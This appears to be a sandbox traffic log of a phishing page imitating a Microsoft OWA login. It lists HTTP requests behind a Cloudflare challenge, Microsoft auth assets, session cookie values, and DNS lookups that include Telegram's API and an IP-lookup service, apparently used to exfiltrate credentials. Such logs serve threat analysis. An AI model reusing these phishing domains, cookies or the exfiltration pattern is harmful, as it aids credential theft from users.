Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ala78/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: neat.owa-wensglotii.topConnection: keep-alivesec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua-platform-version: "10.0.0"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://neat.owa-wensglotii.top/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: x-ms-gateway-slice=estsfd
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1499769500:1743632029:P_0zixKJ-4WUWIOsROrdRoULs5217WwZlPx5541St-o/92a40be64eeb4207/7lRZd1PVRft_IHpOAglSXfce_428Cyn2p6eXzRxSYkw-1743635917-1.1.1.1-yURwJl34gRgDkuK0_GBWVZPs49HRkPyIH0pELBEfOlm4aR4LrRznAFnehPPcOCzP HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/d/92a40be64eeb4207/1743635919027/n7q2tT8Qi4AIMPY HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ala78/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/d/92a40be64eeb4207/1743635919027/n7q2tT8Qi4AIMPY HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/92a40be64eeb4207/1743635919028/491c67d0fd8f95e78ee8c956c16c9501dfc69957720b9f60053e803b5d987dbc/2cIw66xc0mR73sr HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ala78/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1499769500:1743632029:P_0zixKJ-4WUWIOsROrdRoULs5217WwZlPx5541St-o/92a40be64eeb4207/7lRZd1PVRft_IHpOAglSXfce_428Cyn2p6eXzRxSYkw-1743635917-1.1.1.1-yURwJl34gRgDkuK0_GBWVZPs49HRkPyIH0pELBEfOlm4aR4LrRznAFnehPPcOCzP HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1499769500:1743632029:P_0zixKJ-4WUWIOsROrdRoULs5217WwZlPx5541St-o/92a40be64eeb4207/7lRZd1PVRft_IHpOAglSXfce_428Cyn2p6eXzRxSYkw-1743635917-1.1.1.1-yURwJl34gRgDkuK0_GBWVZPs49HRkPyIH0pELBEfOlm4aR4LrRznAFnehPPcOCzP HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1739920309:1743632078:pfnU86u9scmSBSucPTHJvNoIsWAyZZK--dDTMKDE_X0/92a40bda6d48440b/7vbMaJmbYFpS1XBvLF5lXbC3HhJoPWKl7XoLi6Za4ZA-1743635916-1.2.1.1-CfcYcWFGsWvL2kQ1yQqL3gQ_dqiI2deKgYCh_5mHST_5GhEM.BKbOHHlrIxNJ69c HTTP/1.1Host: neat.owa-wensglotii.topConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: x-ms-gateway-slice=estsfd
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_9810YxmrLqOR1rQ4anyNMg2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveOrigin: https://neat.owa-wensglotii.topsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://neat.owa-wensglotii.top/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1Host: neat.owa-wensglotii.topConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: x-ms-gateway-slice=estsfd; cf_clearance=xZlCBjolOdR8JDYjUKDdwh4vp1D7z5diAUaDu7vYY.c-1743635941-1.2.1.1-DE3pnjQBR1UkcyOY7odD7wEhX7tPvlPQC.IIN_OKKUiAh51WzCDOw.1NL_TKQbZqK0JsXBoyqUQo2fU4dUyF4xox55_Oaj26aesC5Iln0nT3wvmuFL8y6lyQ01fG1u3o1iBBK7wqvNa_zTcvE.THjMvVWPovOJkSuR7iuVH4l05LkLs4GlmDoM2O6j_1_TwM38RMHQI4O0PGtFpn1gIiE63atFIn_5IVrKr0PvqmQTBtTQaHetg0OUqpogFF.QU98aD_..YZhMLPBmn9Nss3.5fjZzBfEblTfGZ7Sl6MJPjPQr1fP2luveklnHh1M8H_fS.U1NmxDPI5yqSK8dPYfMx7cO91J8CVW8NNH8iytx1Z1YjbIRqk.g.vwOWAjkYd; fpc=Ao0SS6r8C9lJoQTg9pPjG30; stsservicecookie=estsfd; esctx-pEq0yxd8eg=AQABCQEAAABVrSpeuWamRam2jAF1XRQEWpYW27pcirIkhx-_IPuR0676zyeyP6lJ-CzfTodNZrDWDKJXoqbZCyfc1jgsAN6_AAhVQSzoFIwhnygZWhb2Da4HPJ6Mby-tUN1U88FL5srGuhempRdkqhtU-S0J8vngxLPIsnL5e86YBprlwYCdKSAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQES6nLoLQlkl4OUL_DXxYrQ6F9E7L-rroQjkox0odaFGW7yAaH2Fln0uV1LVKWkqL2JAdixHup_JO_35TVDesw-UomaRVtrtRY52wweEAzcpi5DpDBUWc0sSJX2Yhyb-YEzv_JJauc2mHTSdaaYy4XiUlk1Ttp9tUneWoun0VsNVUgAA
Source: global traffic	HTTP traffic detected: GET /?sso_reload=true HTTP/1.1Host: neat.owa-wensglotii.topConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "134.0.6998.36"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://neat.owa-wensglotii.top/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: x-ms-gateway-slice=estsfd; cf_clearance=xZlCBjolOdR8JDYjUKDdwh4vp1D7z5diAUaDu7vYY.c-1743635941-1.2.1.1-DE3pnjQBR1UkcyOY7odD7wEhX7tPvlPQC.IIN_OKKUiAh51WzCDOw.1NL_TKQbZqK0JsXBoyqUQo2fU4dUyF4xox55_Oaj26aesC5Iln0nT3wvmuFL8y6lyQ01fG1u3o1iBBK7wqvNa_zTcvE.THjMvVWPovOJkSuR7iuVH4l05LkLs4GlmDoM2O6j_1_TwM38RMHQI4O0PGtFpn1gIiE63atFIn_5IVrKr0PvqmQTBtTQaHetg0OUqpogFF.QU98aD_..YZhMLPBmn9Nss3.5fjZzBfEblTfGZ7Sl6MJPjPQr1fP2luveklnHh1M8H_fS.U1NmxDPI5yqSK8dPYfMx7cO91J8CVW8NNH8iytx1Z1YjbIRqk.g.vwOWAjkYd; fpc=Ao0SS6r8C9lJoQTg9pPjG30; stsservicecookie=estsfd; esctx-pEq0yxd8eg=AQABCQEAAABVrSpeuWamRam2jAF1XRQEWpYW27pcirIkhx-_IPuR0676zyeyP6lJ-CzfTodNZrDWDKJXoqbZCyfc1jgsAN6_AAhVQSzoFIwhnygZWhb2Da4HPJ6Mby-tUN1U88FL5srGuhempRdkqhtU-S0J8vngxLPIsnL5e86YBprlwYCdKSAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQES6nLoLQlkl4OUL_DXxYrQ6F9E7L-rroQjkox0odaFGW7yAaH2Fln0uV1LVKWkqL2JAdixHup_JO_35TVDesw-UomaRVtrtRY52wweEAzcpi5DpDBUWc0sSJX2Yhyb-YEzv_JJauc2mHTSdaaYy4XiUlk1Ttp9tUneWoun0VsNVUgAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/scripts/jsd/64912bd87b0e/main.js? HTTP/1.1Host: neat.owa-wensglotii.topConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: x-ms-gateway-slice=estsfd; cf_clearance=xZlCBjolOdR8JDYjUKDdwh4vp1D7z5diAUaDu7vYY.c-1743635941-1.2.1.1-DE3pnjQBR1UkcyOY7odD7wEhX7tPvlPQC.IIN_OKKUiAh51WzCDOw.1NL_TKQbZqK0JsXBoyqUQo2fU4dUyF4xox55_Oaj26aesC5Iln0nT3wvmuFL8y6lyQ01fG1u3o1iBBK7wqvNa_zTcvE.THjMvVWPovOJkSuR7iuVH4l05LkLs4GlmDoM2O6j_1_TwM38RMHQI4O0PGtFpn1gIiE63atFIn_5IVrKr0PvqmQTBtTQaHetg0OUqpogFF.QU98aD_..YZhMLPBmn9Nss3.5fjZzBfEblTfGZ7Sl6MJPjPQr1fP2luveklnHh1M8H_fS.U1NmxDPI5yqSK8dPYfMx7cO91J8CVW8NNH8iytx1Z1YjbIRqk.g.vwOWAjkYd; fpc=Ao0SS6r8C9lJoQTg9pPjG30; stsservicecookie=estsfd; esctx-pEq0yxd8eg=AQABCQEAAABVrSpeuWamRam2jAF1XRQEWpYW27pcirIkhx-_IPuR0676zyeyP6lJ-CzfTodNZrDWDKJXoqbZCyfc1jgsAN6_AAhVQSzoFIwhnygZWhb2Da4HPJ6Mby-tUN1U88FL5srGuhempRdkqhtU-S0J8vngxLPIsnL5e86YBprlwYCdKSAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQES6nLoLQlkl4OUL_DXxYrQ6F9E7L-rroQjkox0odaFGW7yAaH2Fln0uV1LVKWkqL2JAdixHup_JO_35TVDesw-UomaRVtrtRY52wweEAzcpi5DpDBUWc0sSJX2Yhyb-YEzv_JJauc2mHTSdaaYy4XiUlk1Ttp9tUneWoun0VsNVUgAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/jsd/r/0.18992668688840295:1743635417:0SH2MJe0wpu4PZjQbsF_ema0fFlxP3Dh4N02mQxhfTM/92a40c839fe28c8d HTTP/1.1Host: neat.owa-wensglotii.topConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-pEq0yxd8eg=AQABCQEAAABVrSpeuWamRam2jAF1XRQEWpYW27pcirIkhx-_IPuR0676zyeyP6lJ-CzfTodNZrDWDKJXoqbZCyfc1jgsAN6_AAhVQSzoFIwhnygZWhb2Da4HPJ6Mby-tUN1U88FL5srGuhempRdkqhtU-S0J8vngxLPIsnL5e86YBprlwYCdKSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ARwAqzBRR7ViQUKp00fjfJvCFakreHKQRANPjYJWI3DqNWYBAAAcAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQE6ifEAZgoQYduzGJ68_ew_mvCwEyY-cTJlxJFVL18S7RrnDyEHFTXZr7jUuktF9TFCMNf-cxv04WSp0gEG2Dd4k4dWDwFPFv0bCuQVfu9leYgAA; fpc=Ao0SS6r8C9lJoQTg9pPjG324vjNwAQAAAOa8f98OAAAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQE7mbL7CtNNxMb_IcOvW3o-On0HhZycma44u2JTAHxvoG6c4ddE9tzJEX7bDSEL0Edz5X48SZ3yNGDx1FZUDD1WyayCn_PHuGPnpqKBPUmw9DSjl1vmr_9Dc1UGrbOwiMOuBu26tsDuToqS-6pVDHMDcuD6nA-CxmNvJIQLColkTAgAA; esctx-TkMFUGPcyqk=AQABCQEAAABVrSpeuWamRam2jAF1XRQEvwzWp6YsGcPnrIALAr-wsiPL5SkmEZMoWP8uE5w30TGxcITPmtAZrht7aH75U0jN0SxYWkqlRmzyejGzQU5PXE0RU7200-kS6__8ibaQ4lh1FTzAlGSBTRbu6t5-HGGM6cXKBTDUFQKS_tWs-lKj8CAA
Source: global traffic	HTTP traffic detected: GET /Prefetch/Prefetch.aspx HTTP/1.1Host: portal.microsoftonline.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://neat.owa-wensglotii.top/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?sso_reload=true HTTP/1.1Host: neat.owa-wensglotii.topConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "134.0.6998.36"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://neat.owa-wensglotii.top/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-pEq0yxd8eg=AQABCQEAAABVrSpeuWamRam2jAF1XRQEWpYW27pcirIkhx-_IPuR0676zyeyP6lJ-CzfTodNZrDWDKJXoqbZCyfc1jgsAN6_AAhVQSzoFIwhnygZWhb2Da4HPJ6Mby-tUN1U88FL5srGuhempRdkqhtU-S0J8vngxLPIsnL5e86YBprlwYCdKSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ARwAqzBRR7ViQUKp00fjfJvCFakreHKQRANPjYJWI3DqNWYBAAAcAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQE6ifEAZgoQYduzGJ68_ew_mvCwEyY-cTJlxJFVL18S7RrnDyEHFTXZr7jUuktF9TFCMNf-cxv04WSp0gEG2Dd4k4dWDwFPFv0bCuQVfu9leYgAA; fpc=Ao0SS6r8C9lJoQTg9pPjG324vjNwAQAAAOa8f98OAAAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQE7mbL7CtNNxMb_IcOvW3o-On0HhZycma44u2JTAHxvoG6c4ddE9tzJEX7bDSEL0Edz5X48SZ3yNGDx1FZUDD1WyayCn_PHuGPnpqKBPUmw9DSjl1vmr_9Dc1UGrbOwiMOuBu26tsDuToqS-6pVDHMDcuD6nA-CxmNvJIQLColkTAgAA; esctx-TkMFUGPcyqk=AQABCQEAAABVrSpeuWamRam2jAF1XRQEvwzWp6YsGcPnrIALAr-wsiPL5SkmEZMoWP8uE5w30TGxcITPmtAZrht7aH75U0jN0SxYWkqlRmzyejGzQU5PXE0RU7200-kS6__8ibaQ4lh1FTzAlGSBTRbu6t5-HGGM6cXKBTDUFQKS_tWs-lKj8CAA; cf_clearance=gz7bnk1EG4vQllpaQ4XZ83.yb7KPbAyOnbv3Q1sZyUE-1743635944-1.2.1.1-GZ.ZwB.JcwkfpZdPlDBW5IWIdsyv6fU8x_PUiaO3_MXKR18G8HPeuVasJ.7ohNeMkbod3YNKSVXtaoSJuloE5EWvAynh.4FDgnMKz8azel_mqVGVoVbA2ZkPjfh48BrwjEmyqCcJmVHNNs6qcH.HV1VH.GIBa23nU2zPcD9qx6hpAbfZg5WCSweOjHgvpGAyKr._Ajk6RZ1y_Jth5rETi12.Oxg5ijswge8Z6o3Lxx2T2OyVZbhX01Kmzx754keeU3moD3t464ou8tTdzLcsAZJjzF5pCR_OzqXj_EIR4miKUva4Y4r_XO7I3GLiJBLPvGGpjFr4VVsPqdygCefDxeP761K0HXPg4GiIq4GXOuh5.CNxs5y6Nj6MQ3g1Lra6; MicrosoftApplicationsTelemetryDeviceId=f3d6abac-9a05-453e-b888-e7be91a3e888; brcap=0
Source: global traffic	HTTP traffic detected: GET /Prefetch/Prefetch.aspx HTTP/1.1Host: portal.microsoftonline.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://neat.owa-wensglotii.top/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: s.SessID=e26f149f-216b-4014-98e4-476f421aaab8
Source: global traffic	HTTP traffic detected: GET /api/redirect?expires=1743635901163&hash=37b510675cf9d2f212caef357e5ba6c64b10b1f4a8f5b79001de13668de3325b HTTP/1.1Host: patnero.thesilent.deConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: tspice.nevendingwaer.shop
Source: global traffic	DNS traffic detected: DNS query: www.clkmg.com
Source: global traffic	DNS traffic detected: DNS query: netro.gitcombust.shop
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: patnero.thesilent.de
Source: global traffic	DNS traffic detected: DNS query: classntfst.shop
Source: global traffic	DNS traffic detected: DNS query: oka.greenthreads.hr
Source: global traffic	DNS traffic detected: DNS query: logo.clearbit.com
Source: global traffic	DNS traffic detected: DNS query: www.gravatar.com
Source: global traffic	DNS traffic detected: DNS query: api64.ipify.org
Source: global traffic	DNS traffic detected: DNS query: rail-bot-production.up.railway.app
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: neat.owa-wensglotii.top
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: portal.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: identity.nel.measure.office.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/g/jsd/r/0.3292434525870424:1743635421:7toW2C2B06kj9_L1hsFVkQV53rYAp6gtiaVQEyDO1_I/92a40b1abed1d826 HTTP/1.1Host: netro.gitcombust.shopConnection: keep-aliveContent-Length: 16562sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: text/plain;charset=UTF-8sec-ch-ua-mobile: ?0Accept: */*Origin: https://netro.gitcombust.shopSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 02 Apr 2025 23:18:07 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCf-Ray: 92a40b26ac837c93-EWRServer: cloudflareCf-Cache-Status: EXPIREDAccess-Control-Allow-Origin: *Cache-Control: max-age=14400Vary: Accept-EncodingX-Frame-Options: DENYX-Ms-Error-Code: WebContentNotFoundX-Ms-Request-Id: 2f562eae-d01e-0061-5e25-a4dba3000000X-Ms-Version: 2018-03-28Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=78v7gUnqEBi0C3x9woRsrZqVo0pHX8lablwAzw5Ca00CiitcBhKNt91zFGl0B2j2ForlJCKLIDpmiSa8xVPUrhuAcIe%2FqX458OsKzV1M6YbE%2FzsVBh9uJ0Eusevb5geXbXOHK07ivqY%3D"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=99175&min_rtt=97695&rtt_var=22074&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1177&delivery_rate=38081&cwnd=231&unsent_bytes=0&cid=ddcbbfa514eab0f4&ts=759&x=0"
